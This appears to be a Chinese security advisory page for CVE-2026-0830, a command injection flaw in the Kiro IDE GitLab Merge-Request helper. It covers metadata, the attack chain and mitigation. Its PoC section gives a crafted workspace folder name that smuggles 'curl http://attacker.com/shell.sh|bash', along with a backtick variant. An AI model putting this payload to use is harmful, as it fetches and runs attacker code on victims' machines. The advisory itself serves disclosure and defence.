CVE-2026-0830 CVSS 7.8 高危

CVE-2026-0830 Kiro IDE GitLab Merge-Request helper命令注入漏洞

披露日期: 2026-01-09

来源: ff89ba41-3aa1-4d27-914a-91399e9639e5

漏洞信息

漏洞编号

CVE-2026-0830

漏洞类型

命令注入/远程代码执行

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Kiro IDE (GitLab Merge-Request helper)

漏洞概述

CVE-2026-0830是Kiro IDE中GitLab Merge-Request helper组件的一个高危安全漏洞，CVSS评分达到7.8分。该漏洞源于Kiro IDE在处理特制的workspace文件夹名称时存在安全缺陷，攻击者可以通过构造包含恶意命令的workspace文件夹名称，在用户打开该workspace时触发任意命令执行。攻击者无需进行身份认证即可发起攻击，但需要诱导用户打开特制的workspace。由于该漏洞的机密性、完整性和可用性影响均为高，因此被评定为高危漏洞。受影响版本为Kiro IDE 0.6.18之前的版本。

技术细节

该漏洞属于命令注入（Command Injection）类型，存在于Kiro IDE的GitLab Merge-Request helper功能模块中。漏洞的根本原因是在处理workspace文件夹名称时，未对用户输入进行充分的输入验证和命令转义处理。当workspace文件夹名称中包含特殊构造的字符或命令时，这些内容会被直接传递给系统命令执行环境，从而导致任意命令执行。攻击者可以利用GitLab或其他渠道分发包含恶意workspace配置的仓库，当受害者在Kiro IDE中打开这些workspace时，嵌入在文件夹名称中的恶意命令将被执行。由于该功能在处理文件路径时缺乏适当的沙箱隔离，攻击者可以绕过应用程序的安全边界，直接在底层操作系统层面执行任意代码。此类漏洞特别危险，因为它们可以在用户不知情的情况下被触发，仅需用户打开一个看似正常的项目文件夹。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意workspace配置的GitLab仓库，在文件夹名称中嵌入命令注入payload

STEP 2

步骤2

攻击者通过社交工程、邮件或其他方式诱导受害者访问/克隆该恶意仓库

STEP 3

步骤3

受害者在Kiro IDE中打开该恶意workspace项目

STEP 4

步骤4

Kiro IDE的GitLab Merge-Request helper组件解析workspace文件夹名称

STEP 5

步骤5

由于缺乏输入验证，嵌入的命令被传递给系统命令执行环境

STEP 6

步骤6

攻击者的恶意命令以受害者用户权限在目标系统上执行，实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-0830 PoC - Malicious Workspace Folder Name
# This PoC demonstrates command injection via workspace folder name
# Attack Vector: Crafted workspace folder name containing shell commands

# Example malicious workspace folder name:
malicious_folder_name = "test_workspace;$(curl http://attacker.com/shell.sh|bash)"

# Or using backticks:
# malicious_folder_name = "test_workspace`curl http://attacker.com/shell.sh|bash`"

# When Kiro IDE processes this workspace, the command after ; or $() will be executed
# The GitLab Merge-Request helper processes the folder name without sanitization

# Exploitation scenario:
# 1. Attacker creates a GitLab repository with malicious workspace configuration
# 2. Repository contains workspace folder with crafted name
# 3. Victim opens repository in Kiro IDE
# 4. IDE parses workspace folder name
# 5. Embedded commands are executed with user's privileges

# Mitigation: Update to Kiro IDE >= 0.6.18

影响范围

Kiro IDE < 0.6.18

防御指南

临时缓解措施

立即更新Kiro IDE到最新版本（0.6.18及以上）。如果无法立即更新，应避免打开来源不明的workspace项目，特别是通过GitLab等平台获取的仓库。在确认官方修复版本可用之前，可以考虑使用其他IDE作为临时替代方案。同时，组织应建立安全审查流程，对引入的开发工具进行安全评估。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表